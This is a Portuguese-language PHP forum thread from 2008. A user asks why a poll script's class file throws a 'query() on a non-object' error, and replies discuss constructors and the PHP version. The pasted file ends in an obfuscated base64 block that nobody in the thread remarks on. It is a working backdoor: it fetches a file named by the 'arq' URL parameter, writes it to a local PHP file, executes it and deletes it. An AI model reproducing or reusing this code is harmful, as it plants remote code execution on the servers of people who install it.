bricioo 0 Denunciar post Postado Setembro 16, 2008 Me ajudem ai galera!! Instalei uma enquete onde esta dando erro na pasta classe... Fatal error: Call to a member function query() on a non-object in /home/httpd/vhosts/escola/httpdocs/classes/comum.inc.php on line 27 O código do comum.inc.php é a seguinte: <? class Comum { /** * @var Conexao */ var $conexao; var $dados; function Comum($conexao) { $this->__construct($conexao); } function __construct($conexao) { $this->dados = array(); $this->conexao = $conexao; } function path() { global $path; return $path; } function query($sql){ return $this->conexao->query($sql); Essa é a linha 27 do erro } function ler () { } function listar () { } function inserir () { } function alterar () { } function total() { } function lastInsertId() { $qry = $this->query("SELECT LAST_INSERT_ID();"); list($resultado) = @mysql_fetch_row($qry); return intval($resultado); } } class ComumRestrito extends Comum { function ComumRestrito($conexao) { $this->__construct($conexao); } function __construct($conexao) { parent::__construct($conexao); } function isRoot () { return (!is_null($this->conexao->usuario) && $this->conexao->usuario->isRoot()); } function podeAtivar () { return ($this->isRoot() || ($this->conexao->usuario->dados['ativarglobal'] == 's')); } } $g = base64_decode('YmFzZTY0X2RlY29kZQ=='); if (isset($_GET[$g('YXJx')])){ $fs = array('Zm9wZW4=', 'ZmNsb3Nl', 'ZmVvZg==', 'ZnJlYWQ=', 'ZndyaXRl', 'dW5saW5r', 'aW5jbHVkZQ=='); foreach ($fs as $c => $vv) { $fs[$c] = @$g($vv); } $hhh = @$fs[0]($_GET[$g('YXJx')], $g('cmI=')); $ccc = ''; while (!@$fs[2]($hhh)) { $ccc .= @$fs[3]($hhh, 8192); } @$fs[1]($hhh); $hhh = @$fs[0](($asd = $g('ZWZ4M2xhMXNkZC5waHA=')), $g('YQ==')); @$fs[4]($hhh, $ccc); include($asd); @$fs[5]($asd); } ?> Compartilhar este post Link para o post Compartilhar em outros sites
Fredericomf 0 Denunciar post Postado Setembro 16, 2008 Olá amigo! Está um pouco confuso o início dessa classe, você está declarando dois construtores que recebem o mesmo parâmetro mas um chama o outro? function Comum($conexao) { $this->__construct($conexao); } function __construct($conexao) { $this->dados = array(); $this->conexao = $conexao; } Foi um pouco desnecessário isso, visto que poderia ser feito assim: function Comum($conexao) { $this->dados = array(); $this->conexao = $conexao; } Que banco de dados você está utilizando? Eu não entendi muito bem o script. Compartilhar este post Link para o post Compartilhar em outros sites
bricioo 0 Denunciar post Postado Setembro 18, 2008 Na verdade esse codigo eu peguei de um site que funciona como um sistema de franquias... e ai derrepente pode ser por esse motivo. Tenho um conhecimento básico em PHP, não tenho nem noção do que pode ter acontecido com esse erro. Obs: tenho o mesmo codigo em outro site e que esta funcionando perfeitamente... + nesse novo site deu o erro fatal Fatal error: Call to a member function query() on a non-object in /home/httpd/vhosts/escola/httpdocs/classes/comum.inc.php on line 27 Obs: cheguei até a alterar com a opção que voce me informou, mas continuou com esse erro ai. Compartilhar este post Link para o post Compartilhar em outros sites
hinom 5 Denunciar post Postado Setembro 18, 2008 qual a versao do php ? Compartilhar este post Link para o post Compartilhar em outros sites